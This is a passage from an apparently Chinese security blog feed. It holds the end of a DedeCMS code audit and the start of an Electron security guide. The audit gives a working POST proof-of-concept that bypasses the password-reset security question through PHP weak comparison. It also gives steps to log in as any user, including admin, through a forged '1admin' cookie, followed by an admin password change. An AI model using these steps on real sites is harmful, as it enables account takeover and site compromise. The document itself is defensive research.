class="hljs-keyword">if</span>(<span class="hljs-variable">$type</span> == <span class="hljs-number">1</span>){}<br> <span class="hljs-comment">//以安全问题取回密码;</span><br> <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$type</span> == <span class="hljs-number">2</span>)<br> {<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$member</span>[<span class="hljs-string">'safequestion'</span>] == <span class="hljs-number">0</span>)<br> {<br> showmsg(<span class="hljs-string">'对不起您尚未设置安全密码,请通过邮件方式重设密码'</span>, <span class="hljs-string">'login.php'</span>);<br> <span class="hljs-keyword">exit</span>;<br> }<br> <span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">"/templets/resetpassword3.htm"</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><p>3、关注 <code>$dopost == "safequestion" </code> 的if语句块,<code>$row['safequestion'] </code> 为数据库查询用户设置的安全问题,如果没有设置则为空,然后这里使用 <code>==</code> 弱类型比较,有可能绕过这里的判断</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//member/resetpassword.php</span><br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$safequestion</span>)) <span class="hljs-variable">$safequestion</span> = <span class="hljs-string">''</span>;<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$safeanswer</span>)) <span class="hljs-variable">$safeanswer</span> = <span class="hljs-string">''</span>;<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$row</span>[<span class="hljs-string">'safequestion'</span>] == <span class="hljs-variable">$safequestion</span> && <span class="hljs-variable">$row</span>[<span class="hljs-string">'safeanswer'</span>] == <span class="hljs-variable">$safeanswer</span>)<br>{<br> sn(<span class="hljs-variable">$mid</span>, <span class="hljs-variable">$row</span>[<span class="hljs-string">'userid'</span>], <span class="hljs-variable">$row</span>[<span class="hljs-string">'email'</span>], <span class="hljs-string">'N'</span>);<br> <span class="hljs-keyword">exit</span>();<br>}<br></code></pre></td></tr></table></figure><p>当用户没有设置安全问题时,数据库默认的 <code>safequestion="0"</code> , <code>safeanswer=""</code>,在php中这种数据在弱类型比较很容易相等的</p><p><code>safeanswer=""</code> ,传入 <code>$safeanswer</code> 为空即可弱类型相等</p><p><code>safequestion="0"</code> ,但是不能传入 <code>$safequestion</code> 为0,这样会导致 <code>empty()</code> 判断为空,最终被赋值为空,这里利用了一个知识点,记录下:</p><p>==在php中当左右都是<strong>只由数字组成的字符串</strong>进行弱类型比较时,会转换成数字比较==</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-string">"0"</span> == <span class="hljs-string">"00"</span> <span class="hljs-comment">//true</span><br><span class="hljs-string">"0"</span> == <span class="hljs-string">"0.0"</span> <span class="hljs-comment">//true</span><br><span class="hljs-string">"0"</span> == <span class="hljs-string">"0e1"</span><span class="hljs-comment">//true</span><br></code></pre></td></tr></table></figure><p>所以传入上面其中一个都可以绕过判断,最终的post的数据修改如下,其中id设置为任意值就可以修改为任意用户,id=1默认为admin用户,不过amdin用户在<strong>会员中心模块</strong>默认不能登陆,意义不大</p><p>post 数据的POC:</p><figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs dts">dopost=safequestion<span class="hljs-variable">&gourl</span>=<span class="hljs-variable">&userid</span>=test1<span class="hljs-variable">&mail</span>[email protected]<span class="hljs-variable">&vdcode</span>=ya21<span class="hljs-variable">&type</span>=<span class="hljs-number">2</span><span class="hljs-variable">&safeanswer</span>=<span class="hljs-number">0</span><span class="hljs-variable">&id</span>=<span class="hljs-number">2</span><span class="hljs-variable">&safequestion</span>=<span class="hljs-number">00</span><br></code></pre></td></tr></table></figure><p>发送次数据包后,在 <code>dede_pwd_tmp</code> 表中会生成临时的数据,其中pwd为8位随机字符串的<code>key</code>通过md5加密后的值</p><img src="img/dedecms/image-20210719190540440.png" alt="image-20210719190540440" style="zoom:50%;" /><p>4、绕过弱类型判断后,会返回一个地址</p><p>注意里面的id和key参数,这里的key为上面的pwd在md5加密前的值,id为上面的mid,也对应了<code>dede_member</code>表中的用户,通过这两个值,保证在找回密码处能准确修改对应用户的密码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">'http://dede.test:8888/member/resetpassword.php?dopost=getpasswd<span class="hljs-symbol">&amp;</span>id=2<span class="hljs-symbol">&amp;</span>key=3vnKgJZP'</span>></span><br></code></pre></td></tr></table></figure><p>进入这个地址,注意修改下实体编码,然后会进入<strong>找回密码第二步</strong>,然后直接修改密码就可以了</p><img src="img/dedecms/image-20210719185201559.png" alt="image-20210719185201559" style="zoom:50%;" /><p>小结:最终梳理下来,这里其实就是在用户没有设置密码问题时,后台数据库默认保存为空,并且后台在进行密保问题判断时采用弱类型比较,导致可以绕过,最终结果是,凡是没有设置密码问题的用户,都有密码被任意修改的风险</p><h2 id="会员中心任意用户登陆"><a href="#会员中心任意用户登陆" class="headerlink" title="会员中心任意用户登陆"></a>会员中心任意用户登陆</h2><p><strong>会员中心模块</strong>的入口文件为 <code>member/index.php</code> ,在全局分析的时候并没有分析这个入口,但逻辑应该也大差不差</p><p>这里简单分析下<strong>会员中心模块</strong>入口文件判断用户登陆状态的关键逻辑,一般会先判断用户是否登陆,如果登陆则呈现用户界面。如果未登陆,则跳转到登陆接口,等待用户输入登陆凭证并验证,验证通过后,给当前用户记录cookie信息,用户后续使用cookie正常访问</p><p>在dedecms中<strong>会员中心模块</strong>的入口文件差不多也是这个逻辑,dedecms主要使用<code>include/memberlogin.class.php</code>中<code>MemberLogin</code>类来处理这些逻辑,下面来具体看下代码</p><h3 id="入口文件逻辑"><a href="#入口文件逻辑" class="headerlink" title="入口文件逻辑"></a>入口文件逻辑</h3><p>入口文件主要分为3个逻辑处理,首先通过<code>$uid</code>可以查看对应用户的会员空间,<code>$uid</code>对应数据表<code>dede_member</code>中的<code>userid</code>,即用户名</p><ul><li><p>当<code>$uid</code>为空时,首先会判断用户的登陆状态,如果未登陆就加载登陆框,如果已经登陆,则展现对应用户的个人主页</p></li><li><p>当<code>$uid</code>不为空时,会加载<code>config_space.php</code>文件,其中这个文件会通过<code>GetUserSpaceInfos()</code>获取到<code>$uid</code>用户的空间信息</p></li></ul><p>这里还需要注意 <code>$last_vid </code>,该值来自于cookie,可控。当 <code>$last_vid</code> 为空时,最终将等于 <code>$uid</code>,都为可控参数。而 <code>$last_vid</code> 最终会被写入到cookie中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//member/index.php</span><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$uid</span>==<span class="hljs-string">''</span>)<br>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-variable">$cfg_ml</span>->IsLogin())<br> {<br> <span class="hljs-comment">//加载登陆框</span><br> ……<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-comment">//加载对应$cfg_ml->M_ID用户的页面</span><br> ……<br> }<br>}<br><span class="hljs-keyword">else</span><br>{<br> <span class="hljs-comment">//会员空间主页</span><br> <span class="hljs-keyword">require_once</span>(DEDEMEMBER.<span class="hljs-string">'/inc/config_space.php'</span>);<br> <span class="hljs-variable">$last_vid</span> = GetCookie(<span class="hljs-string">'last_vid'</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$last_vid</span>!=<span class="hljs-string">''</span>){ }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-variable">$last_vid</span> = <span class="hljs-variable">$uid</span>;<br> }<br> PutCookie(<span class="hljs-string">'last_vid'</span>, <span class="hljs-variable">$last_vid</span>, <span class="hljs-number">3600</span>*<span class="hljs-number">24</span>, <span class="hljs-string">'/'</span>);<br>}<br></code></pre></td></tr></table></figure><h3 id="会员空间信息的加载"><a href="#会员空间信息的加载" class="headerlink" title="会员空间信息的加载"></a>会员空间信息的加载</h3><p>这里首先看下第三个逻辑处理,会员空间主要通过<code>config_space.php</code>文件加载,具体代码如下:</p><ul><li>会员空间的信息主要通过<code>$uid</code>在数据库中查询得到,其中<code>$uid</code>为用户名信息</li><li>当查询结果为空时会退出程序</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//member/inc/config_space.php</span><br><span class="hljs-variable">$_vars</span> = GetUserSpaceInfos();<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GetUserSpaceInfos</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-variable">$query</span> = <span class="hljs-string">"SELECT …… From `#@__member` ……where m.userid like '<span class="hljs-subst">$uid</span>'"</span>;<br> <span class="hljs-variable">$_vars</span> = <span class="hljs-variable">$dsql</span>->GetOne(<span class="hljs-variable">$query</span>);<br> <span class="hljs-keyword">if</span>(!is_array(<span class="hljs-variable">$_vars</span>))<br> {<br> ShowMsg(<span class="hljs-string">"你访问的用户可能已经被删除!"</span>,<span class="hljs-string">"javascript:;"</span>);<br> <span class="hljs-keyword">exit</span>();<br> }<br> ……<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$_vars</span>;<br>}<br></code></pre></td></tr></table></figure><h3 id="账号登陆后cookie生成方式"><a href="#账号登陆后cookie生成方式" class="headerlink" title="账号登陆后cookie生成方式"></a>账号登陆后cookie生成方式</h3><p>用户登陆的逻辑这里就先不看了,主要关注下cookie是怎么生成的</p><p>当用户账号密码验证成功后,会有一个保存cookie的操作,对应的是<code>MemberLogin</code>类中的 <code>PutLoginInfo()</code> 方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//include/memberlogin.class.php::class MemberLogin</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">PutLoginInfo</span>(<span class="hljs-params"><span class="hljs-variable">$uid</span>, <span class="hljs-variable">$logintime</span>=<span class="hljs-number">0</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">global</span> <span class="hljs-variable">$cfg_login_adds</span>, <span class="hljs-variable">$dsql</span>;<br> <span class="hljs-keyword">$this</span>->M_ID = <span class="hljs-variable">$uid</span>;<br> <span class="hljs-keyword">$this</span>->M_LoginTime = time();<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>->M_KeepTime > <span class="hljs-number">0</span>)<br> {<br> PutCookie(<span class="hljs-string">'DedeUserID'</span>,<span class="hljs-variable">$uid</span>,<span class="hljs-keyword">$this</span>->M_KeepTime);<br> PutCookie(<span class="hljs-string">'DedeLoginTime'</span>,<span class="hljs-keyword">$this</span>->M_LoginTime,<span class="hljs-keyword">$this</span>->M_KeepTime);<br> }<br> <span class="hljs-keyword">else</span><br> {<br> PutCookie(<span class="hljs-string">'DedeUserID'</span>,<span class="hljs-variable">$uid</span>);<br> PutCookie(<span class="hljs-string">'DedeLoginTime'</span>,<span class="hljs-keyword">$this</span>->M_LoginTime);<br> }<br>}<br></code></pre></td></tr></table></figure><p>跟踪下 <code>PutCookie()</code> 方法,发现将会生成 <code>DedeUserID</code>, <code>DedeUserID__ckMd5</code> 的cookie参数,这里关注一下后面会使用</p><p><code>DedeUserID</code> 的值来自用户的uid,其中 <code>DedeUserID__ckMd5</code> 来自用户的<strong>uid和加密cookie值</strong>的16位md5加密值,</p><p><code>$cfg_cookie_encode</code> 好像是安装dede后随机生成的值,用于加密cookie。不同的dedecms程序这个值不同,一般情况下认为该值是不可控,不可知的。正是利用这一点,程序生成的<code>DedeUserID__ckMd5</code>基本不能伪造,dedecms便可以放心的使用cookie去识别用户的身份</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//include/helpers/cookie.helper.php</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">PutCookie</span>(<span class="hljs-params"><span class="hljs-variable">$key</span>, <span class="hljs-variable">$value</span>, <span class="hljs-variable">$kptime</span>=<span class="hljs-number">0</span>, <span class="hljs-variable">$pa</span>=<span class="hljs-string">"/"</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">global</span> <span class="hljs-variable">$cfg_cookie_encode</span>,<span class="hljs-variable">$cfg_domain_cookie</span>;<br> setcookie(<span class="hljs-variable">$key</span>, <span class="hljs-variable">$value</span>, time()+<span class="hljs-variable">$kptime</span>, <span class="hljs-variable">$pa</span>,<span class="hljs-variable">$cfg_domain_cookie</span>);<br> setcookie(<span class="hljs-variable">$key</span>.<span class="hljs-string">'__ckMd5'</span>, substr(md5(<span class="hljs-variable">$cfg_cookie_encode</span>.<span class="hljs-variable">$value</span>),<span class="hljs-number">0</span>,<span class="hljs-number">16</span>), time()+<span class="hljs-variable">$kptime</span>, <span class="hljs-variable">$pa</span>,<span class="hljs-variable">$cfg_domain_cookie</span>);<br>}<br></code></pre></td></tr></table></figure><p>这里需要知道的是这里的<code>uid</code>来自数据表<code>dede_member</code>中mid,所以<code>uid</code>这就就决定了用户的身份,dedecms默认在<code>dede_member</code>中会生成一个<code>userid</code>为admin,<code>mid</code>为1的用户</p><h3 id="验证用户是否登陆过"><a href="#验证用户是否登陆过" class="headerlink" title="验证用户是否登陆过"></a>验证用户是否登陆过</h3><p><strong>用户中心模块</strong>在判断用户是否登陆会使用 <code>MemberLogin</code> 类的 <code>IsLogin()</code> 方法,该方法通过实例化的 <code>MemberLogin</code> 对象的 <code>M_ID</code> 值是否大于0为判断依据,大于0即为登陆状态</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">IsLogin</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>->M_ID > <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">TRUE</span>;<br> <span class="hljs-keyword">else</span> <span class="hljs-keyword">return</span> <span class="hljs-literal">FALSE</span>;<br>}<br></code></pre></td></tr></table></figure><p>然后查看一下 <code>MemberLogin</code> 对象实例化时的构造函数,<code>M_ID</code> 的值将来自于cookie,在获取cookie时会对用户身份做验证,==需要注意的是,通过认证后,<code>M_ID</code>还会通过GetNum()或intval()转换成数字类型,这是一个关键点,在后面将利用这一点把用户名转换成数字类型==</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$kptime</span> = -<span class="hljs-number">1</span>, <span class="hljs-variable">$cache</span>=<span class="hljs-literal">FALSE</span></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">$this</span>->M_ID = <span class="hljs-keyword">$this</span>->GetNum(GetCookie(<span class="hljs-string">"DedeUserID"</span>));<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-keyword">$this</span>->M_ID))<br> {<br> <span class="hljs-keyword">$this</span>->ResetUser();<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">$this</span>->M_ID = intval(<span class="hljs-keyword">$this</span>->M_ID);<br></code></pre></td></tr></table></figure><p><code>GetNum()</code>用于接收整数,<code>GetCookie()</code>用于获取cookie值,这里就知道<code>M_ID</code>大致来与cookie中的某个整数值,似乎可控的感觉,我们能想到的利用方式是通过控制cookie为不同的id值,造成越权漏洞</p><p>跟进 <code>GetCookie("DedeUserID")</code> 看看细节</p><ul><li><code>$key</code>传入的值为<strong>DedeUserID</strong>,<code>$cfg_cookie_encode</code> 用于加密cookie</li></ul><img src="img/dedecms/image-20210720113513361.png" alt="image-20210720113513361" style="zoom: 50%;" /><ul><li>第一个if判断条件,<code>$_COOKIE['DedeUserID']</code> 和 <code>$_COOKIE['DedeUserID__ckMd5']</code> 有值即可</li><li>第二个if判断条件,<code>$_COOKIE['DedeUserID__ckMd5']</code> 等于使用 <code>$cfg_cookie_encode</code> 和<code>$_COOKIE['DedeUserID']</code> 16位md5加密值相同即可</li></ul><p>如果通过判断,<code>M_ID</code>将会等于cookie中<code>DedeUserID</code>的值,也就是对应用户id的身份</p><p><code>$_COOKIE['DedeUserID__ckMd5']</code> 为用户uid的md5加密值,没有dedecms的cookie 加密值是无法伪造这个加密值,也就是我们无法构造任意uid用户通过验证造成越权漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">//include/helpers/cookie.helper.php</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GetCookie</span>(<span class="hljs-params"><span class="hljs-variable">$key</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">global</span> <span class="hljs-variable">$cfg_cookie_encode</span>;<br> <span class="hljs-keyword">if</span>( !<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>]) || !<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>.<span class="hljs-string">'__ckMd5'</span>]) )<br> {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>.<span class="hljs-string">'__ckMd5'</span>]!=substr(md5(<span class="hljs-variable">$cfg_cookie_encode</span>.<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>]),<span class="hljs-number">0</span>,<span class="hljs-number">16</span>))<br> {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-variable">$key</span>];<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>但是在<strong>会员空间信息加载时</strong>我们知道通过 <code>$last_vid</code> 也可以写入cookie,也能利用<code>$cfg_cookie_encode</code>加密数据,把这的加密数据放到<code>GetCookie()</code>中是能通过验证的</p><p>但是 <code>$last_vid</code> 只能为用户名,放到,如果直接将 <code>$last_vid</code> 转化为用户id,那么在<strong>会员空间信息加载时</strong>会因为用户不存在而退出程序。如果用户名和用户id相同则不担心了,但是系统限制了用户名不能过短</p><p>不过却可以利用<code>intval()</code>将用户名转换成数字类型,从而 <code>$last_vid</code> 可以为存在的用户名,也可以转换成任意用户的id</p><h3 id="终于开始验证漏洞了"><a href="#终于开始验证漏洞了" class="headerlink" title="终于开始验证漏洞了"></a>终于开始验证漏洞了</h3><p>按需求,我们需要注册一个用户名,这个用户名在 <code>intval()</code> 转换后能为一个用户的id</p><p>1)注册一个名为 <code>1admin</code> 的用户,<code>intval("1admin")</code>将为1,我们将会操控到用户id为1的用户,然后利用 <code>1admin</code> 获取一个__ckMd5</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk">http:<span class="hljs-regexp">//</span>dede.test:<span class="hljs-number">8888</span><span class="hljs-regexp">/member/i</span>ndex.php?uid=<span class="hljs-number">1</span>admin<br></code></pre></td></tr></table></figure><img src="img/dedecms/image-20210720184513525.png" alt="image-20210720184513525" style="zoom:50%;" /><p>2)利用结果通过验证</p><img src="img/dedecms/image-20210720184556760.png" alt="image-20210720184556760" style="zoom:50%;" /><p>这里有个有趣的利用点,注意了!直接通过登陆框登陆admin用户是进不了个人主页的,因为dedecms默认禁止admin用户登陆会员中心。如果通过上面的方法却可以实现amdin用户登陆,有个什么好处呢,会员中心具有修改密码的功能,如果是管理员修改密码,会同时修改掉后台<code>dede_admin</code>表的密码,这里就可以实现前台到后台的突破,而后台的任意文件上传就很轻松了吧</p><img src="img/dedecms/image-20210721112814417.png" alt="image-20210721112814417" style="zoom:50%;" /><p>最后梳理一下流程,流程图如下:</p><img src="img/dedecms/3.png" alt="3" style="zoom:50%;" /><h1 id="0x03-小结"><a href="#0x03-小结" class="headerlink" title="0x03 小结"></a>0x03 小结</h1><p>本次主要采用的是功能定向审计,发现这种方式对文件上传漏洞的审计效果还不错,该方式确实速度很快,不过也会忽略很多关键点,最后的感受是,代码审计时不一定只有一种审计方式,除了功能定向审计,我们还可以利用通读代码的方式去做粗略的全局分析,通过敏感关键词回溯去审计一些较难发现的漏洞</p><p>另外一个感受就是在登陆口找回密码这种具有一定逻辑的代码审计上,往往需要先梳理清程序的逻辑,如果具有一定的开发意识审计这种代码会快一些。</p><p>参考:</p><p>dedecms官网:<a href="http://www.dedecms.com/">http://www.dedecms.com/</a></p><p>Dedecms 最新版漏洞收集:<a href="https://blog.szfszf.top/article/25/">https://blog.szfszf.top/article/25/</a></p><p>前台任意用户登录漏洞分析(修改admin后台密码):<a href="http://blog.nsfocus.net/dedecms-loophole-2/">http://blog.nsfocus.net/dedecms-loophole-2/</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
</tags>
</entry>
<entry>
<title>如何审计 Electron 应用代码</title>
<link href="/2021/09/electron/"/>
<url>/2021/09/electron/</url>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近被 XMind 2020 XSS 导致远程代码执行的漏洞所吸引,复现过程比较简单,于是想研究一下漏洞造成的原因,因为 XMind 属于 electorn 应用,应用了很多 Web 前端技术,然后就发现自己什么也看不懂。所以后面收集了很多知识,构成了这篇文章,相信看完这篇文章后,大家会对 electorn 审计会有大概的思路。</p><h1 id="Electron的安全策略"><a href="#Electron的安全策略" class="headerlink" title="Electron的安全策略"></a>Electron的安全策略</h1><h2 id="nodeIntegration"><a href="#nodeIntegration" class="headerlink" title="nodeIntegration"></a>nodeIntegration</h2><p>nodeIntegration 是用来隔离不受信任的资源,如来自不受信任的远程服务器的代码在本地被执行,将会造成安全问题。</p><p>例如在默认的 <code>BrowserWindow</code>中显示一个远程网站。如果攻击者以某种方式设法改变所述内容 (通过直接攻击源或者通过在应用和实际目的地之间进行攻击) ,他们将能够在用户的机器上执行本地代码。</p><p>拆分下 nodeIntegration 来理解一下, node 指的是 Node.js , integration 英文是集成的意思,在 Electron 中默认 nodeIntergration 为 False,表示禁用 Node.js 集成,这样可以有助于防止XSS攻击升级为“远程代码执行” (RCE) 攻击。</p><p>官方的指导方法如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// 不推荐</span><br><span class="hljs-keyword">const</span> mainWindow = <span class="hljs-keyword">new</span> BrowserWindow({<br> <span class="hljs-attr">webPreferences</span>: {<br> <span class="hljs-attr">nodeIntegration</span>: <span class="hljs-literal">true</span>,<br> <span class="hljs-attr">nodeIntegrationInWorker</span>: <span class="hljs-literal">true</span><br> }<br>})<br>mainWindow.loadURL(<span class="hljs-string">'https://example.com'</span>)<br></code></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// 推荐</span><br><span class="hljs-keyword">const</span> mainWindow = <span class="hljs-keyword">new</span> BrowserWindow({<br> <span class="hljs-attr">webPreferences</span>: {<br> <span class="hljs-attr">preload</span>: path.join(app.getAppPath(), <span class="hljs-string">'preload.js'</span>)<br> }<br>})<br>mainWindow.loadURL(<span class="hljs-string">'https://example.com'</span>)<br></code></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs js"><!-- Bad --><br><span class="xml"><span class="hljs-tag"><<span class="hljs-name">webview</span> <span class="hljs-attr">nodeIntegration</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"page.html"</span>></span><span class="hljs-tag"></<span class="hljs-name">webview</span>></span></span><br><!-- Good --><br><span class="xml"><span class="hljs-tag"><<span class="hljs-name">webview</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"page.html"</span>></span><span class="hljs-tag"></<span class="hljs-name">webview</span>></span></span><br></code></pre></td></tr></table></figure><h2 id="WebSecurity"><a href="#WebSecurity" class="headerlink" title="WebSecurity"></a>WebSecurity</h2><p>WebSecurity 中包括同源策略的设置, WebSecurity 默认值为 True ,即打开状态。</p><p>如果禁用 WebSecurity 将会禁止同源策略并且将 <code>allowRunningInsecureContent</code> 属性置 <code>true</code>。 换句话说,这将使得来自其他站点的非安全代码被执行。</p><p>官方推荐的一些配置:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// 不推荐</span><br><span class="hljs-keyword">const</span> mainWindow = <span class="hljs-keyword">new</span> BrowserWindow({<br> <span class="hljs-attr">webPreferences</span>: {<br> <span class="hljs-attr">webSecurity</span>: <span class="hljs-literal">false</span><br> }<br>})<br></code></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// 推荐</span><br><span class="hljs-keyword">const</span> mainWindow = <span class="hljs-keyword">new</span> BrowserWindow()<br></code></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs js"><!-- Bad --><br><span class="xml"><span class="hljs-tag"><<span class="hljs-name">webview</span> <span class="hljs-attr">disablewebsecurity</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"page.html"</span>></span><span class="hljs-tag"></<span class="hljs-name">webview</span>></span></span><br><!-- Good --><br><span class="xml"><span class="hljs-tag"><<span class="hljs-name">webview</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"page.html"</span>></span><span class="hljs-tag"></<span class="hljs-name">webview</span>></span></span><br></code></pre></td></tr></table></figure><h1 id="nodeIntegration-绕过漏洞"><a href="#nodeIntegration-绕过漏洞" class="headerlink" title="nodeIntegration 绕过漏洞"></a>nodeIntegration 绕过漏洞</h1><p>历史上出现过两个 nodeIntegration 绕过漏洞,编号分别为CVE-2018-15685,CVE-2018-1000136。</p><h2 id="CVE-2018-15685"><a href="#CVE-2018-15685" class="headerlink" title="CVE-2018-15685"></a>CVE-2018-15685</h2><p>WebPreferences Vulnerability 